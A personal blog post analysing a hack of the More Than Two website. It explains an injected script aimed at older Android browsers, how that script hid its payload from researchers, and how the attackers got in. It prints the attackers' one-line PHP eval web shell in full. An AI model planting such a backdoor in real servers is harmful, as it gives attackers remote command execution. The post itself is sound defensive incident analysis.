More Than Two hack

As most of you know, I do computer security as a hobby. (Browse the Computer Security and Computer Viruses tags on this blog to see what I mean.) So it was with a measure of embarrassment I discovered, while at Atlanta Poly Weekend in June, the More Than Two Web site had been hacked.

I first became aware there was a problem when visiting the site on a phone shows this:

I investigated and discovered that malicious code had been added to the bottom of each page, just below the closing body tag. The following code had been injected:

<script src=”″>

I spent the next few hours not going to panels or workshops, but instead looking at logs, talking to my hosting provider, and investigating the source of the attack. Fortunately, an old friend of mine from Atlanta who does computer security professionally happened to be at the convention, and I spent some time talking to him, too.

A malicious file that offered people a back door into the site had been added, and files had been tampered with to inject the hostile code into HTML pages.

I quickly discovered the attack was targeted only at Android browsers, and only certain versions of Android (as near as I can tell, versions equal to or less than 4.0).

The site at returned a 404 Not Found whenever I tried to visit it directly. In addition, non-Android mobile browsers and desktop browsers didn’t return the error.

I remove dthe malicious files and the hack, and then set about figuring out what had happened and what its purpose was. What I found was interesting.

The malicious site at was served by Cloudflare, the spam and malware sewer that figures prominently in problems I’ve written about here and here. I emailed Cloudflare, and received a terse reply that the actual host was an outfit called Digital Ocean. I emailed them, and they quickly shut down the malware server.

The number that appears after the question mark in the line

<script src=”″>

is an encoded version of the IP address of the More Than Two server. Te first thing this script does is check the browser referrer against this encoded IP address. If they aren’t the same, it returns a 404. Basically, it looks to see if the script is being called from a hacked Web site. If it isn’t, then it’s probably a security researcher trying to figure out what the script does, so it sends back a 404.

The next thing it does is look at the browser’s user agent–the thing that tells a Web site what kind of browser you’re using. If it isn’t Android, it also redirects to a 404. The flow looks like this:

So only if the call appears to be coming from an Android browser visiting a hacked Web site does the malicious script get served up. The script produces the alert dialog shown above, and tries to redirect to a URL in Eastern Europe (not functioning at the time I observed this).

The initial attack vector seems to be a variety of the Mayhem worm targeting Web servers. My Web hosting company was apparently vulnerable (the problem has since been fixed), and the exploit was used to drop a malicious PHP file on my server. The PHP file looked like this:

<?php @eval(stripslashes($_REQUEST[ev]));

If you know PHP, you’re probably filled with a sinking feeling of horror and dread looking at that. Basically, it allows a person to execute commands on a Web server from a browser.

From here, the attackers modified the files on the Web server to inject the malicious HTML into Web pages.

The server has been fixed, the CMS I use has been updated, and I’ve taken other steps to ensure against a repeat attack. The attack vector was closed the day after I discovered it, but I haven’t written about the attack prior to this until I had finished analyzing it and had a good understanding of exactly what happened and how it worked.

The fact this attack was as sophisticated as it was and was aimed, not at Windows, but at Android, is interesting.

There’s a postscript to this. The malicious attack site was served up by Cloudflare, the content distribution network with a reckless disregard for security and abuse. I notified the actual Web host, Digital Ocean, about the attack, and they had disabled the site by June 11.

However, a month after being told the site was serving malware and being used as part of a Web attack, and almost a month after the site had been disabled, Cloudflare was still trying to serve its content:

Cloudflare appears indifferent to even the most egregious abuse, and will continue to provide services to abusive Web sites long after they’re notified of the abuse, and even long after the sites’ hosts have shut them down. I’m not quite sure what to make of that, but I’m becoming more and more convinced Cloudflare is a menace to the Internet.